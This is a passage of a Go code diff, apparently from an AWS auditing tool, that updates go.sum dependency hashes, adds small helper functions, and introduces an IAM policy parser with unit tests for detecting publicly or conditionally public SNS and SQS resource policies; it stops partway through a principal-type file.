golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
@@ -561,10 +667,15 @@ golang.org/x/tools v0.0.0-20201208233053-a543418bbed2/go.mod h1:emZCQorbCU4vsT4f
golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.0.0-20210108195828-e2f9c7f1fc8e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
golang.org/x/tools v0.9.1 h1:8WMNJAz3zrtPmnYC7ISf5dEn3MT0gY7jBJfw27yrrLo=
golang.org/x/tools v0.9.1/go.mod h1:owI94Op576fPu3cIGQeHs3joujW/2Oc6MtlxbF5dfNc=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20220907171357-04be3eba64a2 h1:H2TDz8ibqkAF6YGhCdN3jS9O0/s90v0rJh3X/OLHEUk=
golang.org/x/xerrors v0.0.0-20220907171357-04be3eba64a2/go.mod h1:K8+ghG5WaK9qNqU5K3HdILfMLy1f3aNYFI/wnl100a8=
google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE=
google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M=
google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
@@ -584,12 +695,15 @@ google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz513
google.golang.org/api v0.35.0/go.mod h1:/XrVsuzM0rZmrsbjJutiuftIzeuTQcEeaYcSk/mQ1dg=
google.golang.org/api v0.36.0/go.mod h1:+z5ficQTmoYpPn8LCUNVpK5I7hwkpjbcgqA7I34qYtE=
google.golang.org/api v0.40.0/go.mod h1:fYKFpnQN0DsDSKRVRcQSDQNtqWPfM9i+zNPxepjRCQ8=
google.golang.org/api v0.127.0 h1:v7rj0vA0imM3Ou81k1eyFxQNScLzn71EyGnJDr+V/XI=
google.golang.org/api v0.127.0/go.mod h1:Y611qgqaE92On/7g65MQgxYul3c0rEB894kniWLY750=
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c=
google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
@@ -614,6 +728,7 @@ google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfG
google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200513103714-09dca8ec2884/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U=
google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=
google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA=
@@ -627,6 +742,12 @@ google.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6D
google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20210108203827-ffc7fda8c3d7/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20210226172003-ab064af71705/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20230530153820-e85fd2cbaebc h1:8DyZCyvI8mE1IdLy/60bS+52xfymkE72wv1asokgtao=
google.golang.org/genproto v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:xZnkP7mREFX5MORlOPEzLMr+90PPZQ2QWzrVTWfAq64=
google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc h1:kVKPf/IiYSBWEWtkIn6wZXwWGCnLKcC8oWfZvXjsGnM=
google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig=
google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc h1:XSJ8Vk1SWuNr8S18z1NZSziL0CPIXLCCMDOEFtHBOFc=
google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=
google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
@@ -640,9 +761,14 @@ google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3Iji
google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0=
google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc=
google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8=
google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ=
google.golang.org/grpc v1.55.0 h1:3Oj82/tFSCeUrRTg/5E/7d/W5A1tj6Ky1ABAuZuv5ag=
google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8=
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
@@ -653,16 +779,21 @@ google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2
google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=
google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng=
google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA=
gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20200605160147-a5ece683394c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
@@ -672,6 +803,30 @@ honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWh
honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
lukechampine.com/uint128 v1.2.0 h1:mBi/5l91vocEN8otkC5bDLhi2KdCticRiwbdB0O+rjI=
lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
modernc.org/cc/v3 v3.40.0 h1:P3g79IUS/93SYhtoeaHW+kRCIrYaxJ27MFPv+7kaTOw=
modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0=
modernc.org/ccgo/v3 v3.16.13 h1:Mkgdzl46i5F/CNR/Kj80Ri59hC8TKAhZrYSaqvkwzUw=
modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY=
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
modernc.org/libc v1.22.5 h1:91BNch/e5B0uPbJFgqbxXuOnxBQjlS//icfQEGmvyjE=
modernc.org/libc v1.22.5/go.mod h1:jj+Z7dTNX8fBScMVNRAYZ/jF91K8fdT2hYMThc3YjBY=
modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ=
modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
modernc.org/memory v1.5.0 h1:N+/8c5rE6EqugZwHii4IFsaJ7MUhoWX07J5tC/iI5Ds=
modernc.org/memory v1.5.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU=
modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
modernc.org/sqlite v1.23.1 h1:nrSBg4aRQQwq59JpvGEQ15tNxoO5pX/kUjcRNwSAGQM=
modernc.org/sqlite v1.23.1/go.mod h1:OrDj17Mggn6MhE+iPbBNf7RGKODDE9NFT0f3EwDzJqk=
modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY=
modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw=
modernc.org/tcl v1.15.2 h1:C4ybAYCGJw968e+Me18oW55kD/FexcHbqH2xak1ROSY=
modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg=
modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
modernc.org/z v1.7.3 h1:zDJf6iHjrnB+WRD88stbXokugjyc0/pB91ri1gO6LZY=
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0=
rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA=
+12
View File
@@ -31,3 +31,15 @@ func Contains(element string, array []string) bool {
}
return false
}
func RemoveDuplicateStr(strSlice []string) []string {
allKeys := make(map[string]bool)
list := []string{}
for _, item := range strSlice {
if _, value := allKeys[item]; !value {
allKeys[item] = true
list = append(list, item)
}
}
return list
}
+13 -1
View File
@@ -73,7 +73,7 @@ func GetEnabledRegions(awsProfile string, version string) []string {
if err != nil {
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "EMBEDDED_IN_PACKAGE",
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
AWSRegions, err := servicemap.GetAllRegions()
if err != nil {
@@ -270,3 +270,15 @@ func SpinUntil(callingModuleName string, counter *CommandCounter, done chan bool
}
}
}
func ReorganizeAWSProfiles(allProfiles []string, mgmtProfile string) []string {
// take the mgmt profile, move it from its current position to the front of the list
var newProfiles []string
newProfiles = append(newProfiles, mgmtProfile)
for _, profile := range allProfiles {
if profile != mgmtProfile {
newProfiles = append(newProfiles, profile)
}
}
return newProfiles
}
+87
View File
@@ -0,0 +1,87 @@
package policy
import (
"regexp"
"strings"
)
// https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_condition.html
// Conditions have the folling general structure:
// "Condition" : { "{condition-operator}" : { "{condition-key}" : "{condition-value}" }}
type PolicyStatementCondition map[string]map[string]ListOrString
func (psc *PolicyStatementCondition) IsEmpty() bool {
if psc == nil {
return true
}
return len(*psc) == 0
}
// IsScopedOnAccountOrOrganization returns true if the policy condition ensures access only for specific
// AWS accounts or organizations. If may return false even if access is restricted in such a way.
// Such policies should be reported to the user and analyzed case by case to judge if conditions are sufficently restrictive.
func (psc *PolicyStatementCondition) IsScopedOnAccountOrOrganization() bool {
for condition, kv := range *psc {
for k, v := range kv {
if strings.ToLower(condition) == "stringequals" && contains([]string{
"aws:sourceowner", // https://docs.aws.amazon.com/sns/latest/dg/sns-access-policy-use-cases.html#source-account-versus-source-owner
"aws:sourceaccount", // https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-sourceaccount
"aws:principalaccount", // https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-principalaccount
"aws:principalorgid", // https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-principalorgid
"sns:endpoint", // https://docs.aws.amazon.com/sns/latest/dg/sns-using-identity-based-policies.html#sns-policy-keys
}, strings.ToLower(k)) {
return len(v) > 0
}
if strings.ToLower(condition) == "stringlike" && contains([]string{
"sns:endpoint", // https://docs.aws.amazon.com/sns/latest/dg/sns-using-identity-based-policies.html#sns-policy-keys
}, strings.ToLower(k)) {
return isAccountIDInWildcardPattern(v)
}
// handling for aws:SourceArn
// https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-sourcearn
if contains([]string{
"arnequals",
"stringequals",
}, strings.ToLower(condition)) && strings.ToLower(k) == "aws:sourcearn" {
return len(v) > 0 // this means there is an exact AWS resource
}
if contains([]string{
"arnlike",
"stringlike",
}, strings.ToLower(condition)) && strings.ToLower(k) == "aws:sourcearn" {
return isAccountIDInWildcardPattern(v)
}
}
}
return false
}
// isAccountIDInWildcardPattern returns true iff at least one entry in v
// contains an ARN pattern with a full account ID.
func isAccountIDInWildcardPattern(v []string) bool {
for _, e := range v {
s := getAccountIDInARN(e)
if s != "" {
return true
}
}
return false
}
// Format: arn:aws:<service>:<optional-region>:<account-id>:<rest-of-the-arn>
var reAccountIDInARN = regexp.MustCompile(`arn:aws:[a-zA-Z0-9]+:[a-zA-Z0-9-]*:([0-9]+):`)
func getAccountIDInARN(arn string) string {
match := reAccountIDInARN.FindStringSubmatch(arn)
if len(match) != 2 {
return ""
}
return match[1]
}
+26
View File
@@ -0,0 +1,26 @@
package policy
import "testing"
func TestGetAccountIDInARN(t *testing.T) {
tests := []struct {
S string
want string
}{
{S: "abc123", want: ""},
{S: "arn:aws:iam::123456789012:root", want: "123456789012"},
{S: "arn:aws:iam::123456789012:role/any-role-name", want: "123456789012"},
{S: "arn:aws:sts::123456789012:assumed-role/any-role-name/session-name", want: "123456789012"},
{S: "arn:aws:iam::123456789012:user/any-user-name", want: "123456789012"},
{S: "arn:aws:sts::123456789012:federated-user/any-user-name", want: "123456789012"},
{S: "arn:aws:cloudwatch:us-east-2:123456789012:alarm:*", want: "123456789012"},
}
for _, tt := range tests {
actual := getAccountIDInARN(tt.S)
if tt.want != actual {
t.Errorf("getAccountIDInARN(%s) wrong: want %s but got %s", tt.S, tt.want, actual)
}
}
}
+81
View File
@@ -0,0 +1,81 @@
package policy
import (
"encoding/json"
"fmt"
)
type Policy struct {
Version string `json:"Version"`
Id string `json:"Id"`
Statement []PolicyStatement `json:"Statement"`
}
func ParseJSONPolicy(data []byte) (Policy, error) {
var p Policy
if err := json.Unmarshal(data, &p); err != nil {
return p, fmt.Errorf("unmarshal JSON: %s", err)
}
return p, nil
}
// IsNull returns true iff the Policy is empty
// you cannot do a comparison like this: `p == Policy{}' since we use custom types in the struct`
func (p *Policy) IsEmpty() bool {
out := true
out = out && p.Version == ""
out = out && p.Id == ""
for _, s := range p.Statement {
out = out && s.IsEmpty()
}
return out
}
// true iff there is at least one statement with principal * and no conditions
func (p *Policy) IsPublic() bool {
for _, s := range p.Statement {
if s.IsAllow() && s.Principal.IsPublic() && s.Condition.IsEmpty() {
return true
}
}
return false
}
// true iff there is at least one statement with principal * with conditions that do not scope access down to AWS accounts or organizations
func (p *Policy) IsConditionallyPublic() bool {
for _, s := range p.Statement {
if s.IsAllow() && s.Principal.IsPublic() && !s.Condition.IsScopedOnAccountOrOrganization() && !s.Condition.IsEmpty() {
return true
}
}
return false
}
func unique(slice []string) []string {
m := make(map[string]struct{})
for _, v := range slice {
m[v] = struct{}{}
}
out := make([]string, 0, len(m))
for v := range m {
out = append(out, v)
}
return out
}
func contains(list []string, elem string) bool {
for _, e := range list {
if e == elem {
return true
}
}
return false
}
+152
View File
@@ -0,0 +1,152 @@
package policy
import (
"encoding/json"
"fmt"
"io/ioutil"
"os"
"testing"
)
// ensure we don't loose information after parsing and remarshaling
// we marshal only for testing, the output will not necessarily be a valid IAM policy
func TestParsePolicy(t *testing.T) {
tests := []struct {
filename string
want string
}{
{
filename: "amazon-ec2-full-access.json",
want: `{"Version":"2012-10-17","Id":"","Statement":[{"Effect":"Allow","Principal":{},"Action":["ec2:*"],"Resource":["*"]},{"Effect":"Allow","Principal":{},"Action":["elasticloadbalancing:*"],"Resource":["*"]},{"Effect":"Allow","Principal":{},"Action":["cloudwatch:*"],"Resource":["*"]},{"Effect":"Allow","Principal":{},"Action":["autoscaling:*"],"Resource":["*"]},{"Effect":"Allow","Principal":{},"Action":["iam:CreateServiceLinkedRole"],"Resource":["*"],"Condition":{"StringEquals":{"iam:AWSServiceName":["autoscaling.amazonaws.com","ec2scheduled.amazonaws.com","elasticloadbalancing.amazonaws.com","spot.amazonaws.com","spotfleet.amazonaws.com","transitgateway.amazonaws.com"]}}}]}`,
},
{
filename: "sns-conditionally-public.json",
want: `{"Version":"","Id":"","Statement":[{"Effect":"Allow","Principal":"*","Action":["SNS:Publish"],"Resource":["arn:aws:sns:us-east-1:123456789012:MyFirstTopic"],"Condition":{"StringEquals":{"aws:sourceVpce":["vpce-1a2b3c4d"]}}}]}`,
},
{
filename: "sns-shared-via-condition.json",
want: `{"Version":"","Id":"","Statement":[{"Effect":"Allow","Principal":{"AWS":["*"]},"Action":["SNS:Publish"],"Resource":["arn:aws:sns:us-east-2:444455556666:MyTopic"],"Condition":{"ArnLike":{"aws:SourceArn":["arn:aws:cloudwatch:us-east-2:111122223333:alarm:*"]}}}]}`,
},
{
filename: "sns-shared-with-org.json",
want: `{"Version":"","Id":"","Statement":[{"Effect":"Allow","Principal":{"AWS":["*"]},"Action":["SNS:Publish"],"Resource":["arn:aws:sns:us-east-2:444455556666:MyTopic"],"Condition":{"StringEquals":{"aws:PrincipalOrgID":["o-yj4fwt1bwm"]}}}]}`,
},
{
filename: "sqs-conditionally-public.json",
want: `{"Version":"2012-10-17","Id":"anyID","Statement":[{"Sid":"conditionally_public","Effect":"Allow","Principal":"*","Action":["sqs:*"],"Resource":["arn:aws:sqs:*:111122223333:queue1"],"Condition":{"IpAddress":{"aws:SourceIp":["192.0.2.0/24"]}}}]}`,
},
{
filename: "sqs-public.json",
want: `{"Version":"2012-10-17","Id":"anyID","Statement":[{"Sid":"unconditionally_public","Effect":"Allow","Principal":{"AWS":["*"]},"Action":["sqs:*"],"Resource":["arn:aws:sqs:*:111122223333:queue1"]}]}`,
},
{
filename: "sqs-shared-with-condition.json",
want: `{"Version":"2012-10-17","Id":"anyID","Statement":[{"Sid":"conditionally_shared","Effect":"Allow","Principal":{"AWS":["123456789012"]},"Action":["sqs:*"],"Resource":["arn:aws:sqs:*:111122223333:queue1"],"Condition":{"IpAddress":{"aws:SourceIp":["192.0.2.0/24"]}}}]}`,
},
{
filename: "sqs-shared.json",
want: `{"Version":"2012-10-17","Id":"anyID","Statement":[{"Sid":"unconditionally_shared","Effect":"Allow","Principal":{"AWS":["111122223333","arn:aws:iam::123456789012:root"]},"Action":["sqs:*"],"Resource":["arn:aws:sqs:*:111122223333:queue1"]}]}`,
},
}
for _, tt := range tests {
policy, err := getTestFixure(tt.filename)
if err != nil {
t.Errorf("Error getting test fixture %s: %s", tt.filename, err)
continue
}
actual, err := json.Marshal(policy)
if err != nil {
t.Errorf("Error parsing test fixture %s: %s", tt.filename, err)
continue
}
if tt.want != string(actual) {
t.Errorf("Policy %s parsed in unexpected way:\n%s\n---\n%s\n---", tt.filename, actual, tt.want)
continue
}
}
}
func TestIsConditionallyPublic(t *testing.T) {
tests := []struct {
filename string
want bool
}{
{filename: "amazon-ec2-full-access.json", want: false},
{filename: "sns-conditionally-public.json", want: true},
{filename: "sns-shared-via-condition.json", want: false},
{filename: "sns-shared-with-org.json", want: false},
{filename: "sqs-conditionally-public.json", want: true},
{filename: "sqs-public.json", want: false},
{filename: "sqs-shared-with-condition.json", want: false},
{filename: "sqs-shared.json", want: false},
}
for _, tt := range tests {
policy, err := getTestFixure(tt.filename)
if err != nil {
t.Errorf("Error getting test fixture %s: %s", tt.filename, err)
continue
}
actual := policy.IsConditionallyPublic()
if tt.want != actual {
t.Errorf("IsConditionallyPublic(%s) is %v but should be %v", tt.filename, actual, tt.want)
continue
}
}
}
func TestIsPublic(t *testing.T) {
tests := []struct {
filename string
want bool
}{
{filename: "amazon-ec2-full-access.json", want: false},
{filename: "sns-conditionally-public.json", want: false},
{filename: "sns-shared-via-condition.json", want: false},
{filename: "sns-shared-with-org.json", want: false},
{filename: "sqs-conditionally-public.json", want: false},
{filename: "sqs-public.json", want: true},
{filename: "sqs-shared-with-condition.json", want: false},
{filename: "sqs-shared.json", want: false},
}
for _, tt := range tests {
policy, err := getTestFixure(tt.filename)
if err != nil {
t.Errorf("Error getting test fixture %s: %s", tt.filename, err)
continue
}
actual := policy.IsPublic()
if tt.want != actual {
t.Errorf("IsPublic(%s) is %v but should be %v", tt.filename, actual, tt.want)
continue
}
}
}
func getTestFixure(filename string) (*Policy, error) {
f, err := os.Open("testdata/" + filename)
if err != nil {
return nil, fmt.Errorf("opening file: %s", err)
}
defer f.Close()
data, err := ioutil.ReadAll(f)
if err != nil {
return nil, fmt.Errorf("reading file: %s", err)
}
policy, err := ParseJSONPolicy(data)
if err != nil {
return nil, fmt.Errorf("parsing JSON: %s", err)
}
return &policy, nil
}
+94
View File
@@ -0,0 +1,94 @@
package policy
import (
"encoding/json"
"errors"
)
type PolicyStatementPrincipal struct {
S string
O PolicyStatementPrincipalObject
}
func (psp *PolicyStatementPrincipal) UnmarshalJSON(b []byte) error {
var s string
if err := json.Unmarshal(b, &s); err == nil {
psp.S = s
return nil
}
var obj PolicyStatementPrincipalObject
if err := json.Unmarshal(b, &obj); err == nil {
psp.O = obj
return nil
}
return errors.New("principal is not a string or complex object")
}
func (psp *PolicyStatementPrincipal) MarshalJSON() ([]byte, error) {
if psp.S != "" {
return json.Marshal(psp.S)
}
return json.Marshal(psp.O)
}
func (psp *PolicyStatementPrincipal) IsEmpty() bool {
